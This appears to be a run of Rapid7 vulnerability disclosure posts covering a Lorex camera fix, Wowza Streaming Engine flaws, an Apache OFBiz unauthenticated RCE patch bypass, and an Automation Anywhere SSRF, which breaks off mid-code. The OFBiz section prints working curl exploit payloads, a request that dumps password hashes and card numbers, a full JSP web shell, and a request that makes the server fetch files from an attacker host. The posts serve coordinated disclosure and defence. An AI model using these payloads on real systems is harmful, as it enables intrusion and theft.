Lorex Technology is dedicated to delivering the highest standards of protection and privacy for our customers and will collaborate with esteemed security experts to proactively identify and address potential vulnerabilities. In collaboration with Rapid7, we’ve been advised about one of our security cameras and successfully implemented a firmware update, which has fully resolved the identified security vulnerability.

Remediation

The following remediation steps have been provided by the vendor.

Our product team has decided to push the mandatory firmware updates to the devices. Upon opening Lorex app, users will be presented with the firmware update notice. User must accept the firmware update, and they cannot decline or postpone the firmware update. Camera will then flash new firmware and reboot. We advise that the users would not power down the camera during the firmware update. Once the camera reboots, the user can confirm that they have the latest version of firmware: V2.800.0000000.8.R.20241111

Disclosure timeline

October 29, 2024: Rapid7 contacts the vendor about the issues in this blog; vendor acknowledges.
October 31, 2024: Rapid7 shares disclosure write-up with the vendor.
November 4, 2024: Vendor indicates a patch is in development.
November 12, 2024: Rapid7 provides CVEs IDs for the issues identified.
November 13, 2024: Vendor verifies patch schedule.
November 19, 2024: Rapid7 and the vendor agree to a December 3, 2024 coordinated disclosure date.
December 3, 2024: This disclosure.

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/11/20/multiple-vulnerabilities-in-wowza-streaming-engine-fixed/

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Wowza Streaming Engine below v4.9.1 is vulnerable to multiple vulnerabilities on Linux and Windows. An unauthenticated attacker can poison the Wowza Streaming Engine Manager web dashboard with a stored cross-site scripting (“XSS”) payload. When an administrator views the poisoned dashboard, additional authenticated vulnerabilities will automatically be exploited for remote code execution on the underlying server. The code execution context is privileged: root on Linux, LocalSystem on Windows. These vulnerabilities are tracked as CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056. All five were patched on November 20, 2024, with the release of Wowza Streaming Engine v4.9.1.

Product description

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application.

Credit

These issues were reported to the Wowza Media Systems team by Ryan Emmons, Lead Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Wowza team for their assistance and collaboration.

Vulnerability details

The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research. Rapid7 identified multiple security vulnerabilities as part of this research project, and those vulnerabilities are outlined in the table below.

CVE Description CVSS
CVE-2024-52052 An authenticated administrator can define a custom application property and poison a stream target for high-privilege remote code execution. 9.4
CVE-2024-52053 An unauthenticated attacker can inject client-side JavaScript into the administrator dashboard to automatically hijack admin accounts. 8.7
CVE-2024-52054 An injection permits an administrator user to create an XML file anywhere on the file system. 5.1
CVE-2024-52055 An injection permits an administrator user to read any file on the file system if the target directory contains an XML file. 8.2
CVE-2024-52056 An injection permits an administrator user to delete any directory on the host system if the target directory contains an XML file. 6.9

Exploitation was tested against Wowza Streaming Engine on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. Based on information provided by the vendor, the unauthenticated injection vulnerability affects all Wowza Streaming Engine Manager versions, while the four authenticated vulnerabilities were introduced in v4.3.0.

Vendor statement

“We at Wowza Media Systems are focused on security excellence, and by partnering with trusted researchers like Rapid7, we proactively respond to and fix vulnerabilities to safeguard our customers’ interests.”

Mitigation guidance

Per to the vendor, issues in this disclosure can be remediated by upgrading to Wowza Streaming Engine version 4.9.1 or any future version.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 with authenticated vulnerability checks expected to be available in the November 20, 2024 content release.

Disclosure timeline

July 30, 2024 – September 3, 2024: Rapid7 attempts to contact the vendor to disclose vulnerabilities discovered in Wowza Streaming Engine.
September 3, 2024: Rapid7 makes contact with the vendor, who acknowledges disclosure materials.
September 5, 2024 – September 18, 2024: Rapid7 and vendor discuss coordinated vulnerability disclosure steps and timeline.
October 2, 2024: Vendor communicates Q4 remediation timeline.
October 31, 2024: Patch shared with Rapid7 for testing.
November 4, 2024: Rapid7 confirms the patch is successful.
November 5, 2024: Rapid7 provides CVE IDs.
November 15, 2024: Vendor proposes Wednesday, November 20 for coordinated vulnerability disclosure. Rapid7 agrees.
November 20, 2024: This disclosure.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.

Product Description

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.

Credit

This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.

Vulnerability Context

A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.

CVE-2024-32113

The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.

As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.

CVE-2024-36104

The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.

                    String uRIFiltered = new URI(initialURI)
                            .normalize().toString()
                            .replaceAll(";", "")
                            .replaceAll("(?i)%2e", "");
                    if (!initialURI.equals(uRIFiltered)) {
                        Debug.logError("For security reason this URL is not accepted", MODULE);
                        throw new RuntimeException("For security reason this URL is not accepted");

This CVE was patched in v18.12.14.

Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.

curl 'https://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'https://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

CVE-2024-38856

The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don’t explicitly check user’s permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.

SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.

An example payload for this vulnerability is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k

This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.

The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport and EntitySQLProcessor, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.

if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
    return
}

As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.

Exploitation

To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri and overrideViewUri variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport or EntitySQLProcessor. Our testing target was v18.12.15, the latest version available at the time of research.

The framework/webtools/widget/EntityScreens.xml file defines some EntityScreens that might be leveraged by an attacker.

$ grep 'script' framework/webtools/widget/EntityScreens.xml
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntitySQLProcessor.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ProgramExport.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityMaint.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/FindGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewRelations.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRef.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRefList.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/CheckDb.groovy"/>
                <script location="component://webtools/src/test/groovy/org/apache/ofbizwebtools/entity/EntityPerformanceTest.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/XmlDsDump.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ModelInduceFromDb.groovy"/>
[..SNIP..]

We can’t useProgramExport or EntitySQLProcessor this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump, is below.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

As shown above, the XmlDsDump view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy does not enforce authorization checks.

As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.

curl 'https://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k

Watching the request in a debugger confirms that the requestUri and overrideViewUri value confusion is still possible in RequestHandler.java. This is depicted in the screenshot below, where our cURL request has resulted in requestUri being set to the unauthenticated endpoint and overrideViewUri being set to the authenticated view.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.

$ curl 'https://target:8443/common/stolen.txt' -k
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
    <CreditCard paymentMethodId="AMEX_01" cardType="CCT_AMERICANEXPRESS" cardNumber="378282246310005" expireDate="02/2100" companyNameOnCard="Your Company Name" firstNameOnCard="Smart" lastNameOnCard="Guy" contactMechId="9000" lastUpdatedStamp="2024-08-15 23:31:30.077" lastUpdatedTxStamp="2024-08-15 23:31:28.811" createdStamp="2024-08-15 23:31:30.077" createdTxStamp="2024-08-15 23:31:28.811"/>
    <CreditCard paymentMethodId="9015" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="DEMO" lastNameOnCard="CUSTOMER" contactMechId="9015" lastUpdatedStamp="2024-08-15 23:31:48.815" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.815" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="EUROCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="EURO" lastNameOnCard="CUSTOMER" contactMechId="EUROCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.898" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.898" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="FRENCHCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="FRENCH" lastNameOnCard="CUSTOMER" contactMechId="FRENCHCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.967" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.967" createdTxStamp="2024-08-15 23:31:36.309"/>
    <UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2024-08-15 23:31:10.984" lastUpdatedTxStamp="2024-08-15 23:31:10.9" createdStamp="2024-08-15 23:31:06.603" createdTxStamp="2024-08-15 23:31:06.515" partyId="system"/>
    <UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2024-08-15 23:31:06.637" lastUpdatedTxStamp="2024-08-15 23:31:06.515" createdStamp="2024-08-15 23:31:06.637" createdTxStamp="2024-08-15 23:31:06.515"/>
    <UserLogin userLoginId="admin" currentPassword="{SHA}47b56992cbc2b6d10aa1be30f20165adb305a41a" enabled="Y" lastTimeZone="America/Chicago" successiveFailedLogins="2" lastUpdatedStamp="2024-08-16 01:12:07.386" lastUpdatedTxStamp="2024-08-16 01:12:07.386" createdStamp="2024-08-15 23:31:25.561" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="flexadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.341" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.564" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="demoadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.342" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.565" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="ltdadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.343" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.566" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin"/>
    <UserLogin userLoginId="ltdadmin1" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.344" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.567" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin1"/>
    <UserLogin userLoginId="bizadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.345" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.568" createdTxStamp="2024-08-15 23:31:25.556" partyId="bizadmin"/>
[..SNIP..]

The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.

Within controller.xml, a view map called viewdatafile is defined at [0].

[..SNIP..]
    <view-map name="xmldsdump" type="screen" page="component://webtools/widget/EntityScreens.xml#xmldsdump"/>
    <view-map name="xmldsrawdump" page="template/entity/xmldsrawdump.jsp"/>

    <view-map name="FindUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCache"/>
    <view-map name="FindUtilCacheElements" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCacheElements"/>
    <view-map name="EditUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#EditUtilCache"/>

    <view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/> [0]

    <view-map name="LogConfiguration" type="screen" page="component://webtools/widget/LogScreens.xml#LogConfiguration"/>
    <view-map name="LogView" type="screen" page="component://webtools/widget/LogScreens.xml#LogView"/>
    <view-map name="FetchLogs" type="screen" page="component://webtools/widget/LogScreens.xml#FetchLogs"/>
[..SNIP..]

Within framework/webtools/widget/MiscScreens.xml, viewdatafile is associated with the script ViewDataFile.groovy (at [1]).

[..SNIP..]
    <screen name="viewdatafile">
        <section>
            <actions>
                <set field="headerItem" value="main"/>
                <set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
                <set field="tabButtonItem" value="data"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/datafile/ViewDataFile.groovy"/> [1]
            </actions>
            <widgets>
                <decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
                    <decorator-section name="body">
                        <screenlet>
                            <platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
                        </screenlet>
                    </decorator-section>
                </decorator-screen>
            </widgets>
        </section>
    </screen>
[..SNIP..]

That script is below. It checks for various request parameters (starting at [2]) to perform file operations. At [3], if DATAFILE_SAVE is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE.

package org.apache.ofbiz.webtools.datafile

import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader

uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []

dataFileSave = request.getParameter('DATAFILE_SAVE') [2]

entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')

dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')

try {
    dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

try {
    definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

definitionNames = null
if (definitionUrl) {
    try {
        ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
        if (reader) {
            definitionNames = ((Collection)reader.getDataFileNames()).iterator()
            context.put('definitionNames', definitionNames)
        }
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
    try {
        dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
        context.put('dataFile', dataFile)
    }
    catch (Exception e) {
        messages.add(e.toString()); Debug.log(e)
    }
}

if (dataFile) {
    modelDataFile = dataFile.getModelDataFile()
    context.put('modelDataFile', modelDataFile)
}

if (dataFile && dataFileSave) { [3]
    try {
        dataFile.writeDataFile(dataFileSave)
        messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

if (dataFile && entityXmlFileSave) {
    try {
        //dataFile.writeDataFile(entityXmlFileSave)
        DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
        messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}
context.messages = messages

Apache OFBiz also ships with some example data files in datafiles.adoc. An excerpt of that text is included below.

[..SNIP..]
== Examples

=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]

021196033702    ,5031BB GLITTER GLUE PENS BRIGH  ,1           ,5031BB      ,       1,     299,
021196043121    ,BB4312 WONDERFOAM ASSORTED      ,1           ,BB4312      ,       1,     280,
021196055025    ,9905BB  PLUMAGE MULTICOLOURED   ,1           ,9905BB      ,       4,     396,

=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="posreport" separator-style="fixed-length" type-code="text">
            <record name="tillentry" limit="many">
                <field name="tillCode" type="String" length="16" position="0"></field>
                <field name="name" type="String" length="32" position="17"></field>
                <field name="prodCode" type="String" length="12" position="63"></field>
                <field name="quantity" type="String" length="8" position="76"></field>
                <field name="totalPrice" type="String" length="8" position="85"></field>
            </record>
        </data-file>
    </data-files>

.Another example reading fixed record little endian binary files
[source, xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="stockdata" separator-style="fixed-record" type-code="text" record-length="768">
            <record name="stockdataitem" limit="many">
                <field name="barcode" type="NullTerminatedString" length="12" position="0"></field>
                <field name="prodCode" type="NullTerminatedString" length="12" position="68"></field>
                <field name="price" type="LEInteger" length="4" position="80"></field>
                <field name="name" type="NullTerminatedString" length="30" position="16"></field>
            </record>
        </data-file>
    </data-files>

=== Procedure:
In the interface enter something like:

. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv

This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL and DATAFILE_IS_URL parameters.

Below is our malicious definition file, rceschema.xml. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>

Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.

$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

After the server fetches and processes our two files, browsing the targeted accounting/index.jsp path confirms that we’ve established unauthenticated remote code execution.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Remediation

We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.

Rapid7 Customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks expected to be available in today’s (Thursday, September 5) content release.

Disclosure Timeline

  • August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
  • August 17, 2024: Apache OFBiz community developer acknowledges report.
  • August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
  • August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
  • August 24, 2024: Patch sent to Rapid7 for testing.
  • August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
  • August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
  • September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
  • September 5, 2024: This disclosure.

CVE-2024-6922: Automation Anywhere Automation 360 Server-Side Request Forgery

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/07/26/cve-2024-6922-automation-anywhere-automation-360-server-side-request-forgery/

CVE-2024-6922: Automation Anywhere Automation 360 Server-Side Request Forgery

Automation 360 Robotic Process Automation suite v21-v32 is vulnerable to unauthenticated Server-Side Request Forgery (SSRF). SSRF occurs when the server can be induced to perform arbitrary requests on behalf of an attacker. An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.

Product Description

Automation Anywhere Automation 360 is a leading Robotic Process Automation suite, used by many private-sector businesses and government agencies. Its primary purpose is low-code automated workflow creation and task orchestration. A primary “Control Room” server communicates with client agents, and those client agents execute automated “bot” workflows. These workflows leverage extensible feature modules that facilitate activities like automated web browsing, SQL database interop, and execution of various types of scripts and compiled binaries via the client agent.

This security research project was specifically focused on the unauthenticated attack surface of the Control Room server. Based on attack surface reconnaissance, approximately 3,500 Control Room servers are exposed to the public internet.

Credit

This issue was discovered by Ryan Emmons, Lead Security Researcher at Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to Automation Anywhere for their prompt assistance evaluating and coordinating a disclosure for this issue.

Vendor Statement

Automation Anywhere wants to thank Rapid7 for the discovery of an issue, that is now reported as CVE-2024-6922 in Automation 360 v.32 and earlier. We have notified our customers of the mitigation.

Impact

These requests can be used to target internal network services that are not otherwise reachable. Blind SSRF can be weaponized to discover and exploit common internal enterprise systems via SSRF canaries and timing-based port scans. Furthermore, the vulnerability also makes localhost-only system web services reachable to attackers. For example, unauthenticated attackers can direct Automation 360 to perform arbitrary POST web requests to the back end web services behind Traefik, the Elastic API, and internal Windows web APIs. These capabilities subvert expectations of what should and should not be publicly reachable for unauthenticated users.

Exploitation

The spring/authn-context-global-security-urls.xml file within kernel.jar contains Spring security filter definitions for the front-facing Automation 360 Control Room web application. In the XML, the URL pattern /v1/proxy/test is set to allow unauthenticated access:

[..snip..]
        <!-- proxy -->
        <sec:intercept-url pattern="/v1/proxy/test" access="permitAll()"/>
[..snip..]

The testSDSProxyCredentials function that implements that API endpoint is found in com/automationanywhere/proxy/service/impl/SDSProxyCredentialServiceImpl.java. It expects a JSON saasUrl value in the POST request body, which it then uses in a format string for a new POST request to a “cloud control room”. This decompiled code is shown below, with number identifier comments added. At [1], tainted data is formatted into the URL string. At [2], an HttpURLConnection is opened to the URL, then the response data stream is fetched at [3]. The response is not returned to the attacker.

public void testSDSProxyCredentials(
    final SDSProxyCredTestRequest proxyCredsToTest) {
  if (proxyCredsToTest.getSaasUrl().isEmpty()) {
    throw new IllegalArgumentException(
        "Please provide a valid SaaS system url.");
  }
  final String saasUrl = String.format(
      "https://%s/v1/authentication", proxyCredsToTest.getSaasUrl()); // [1]
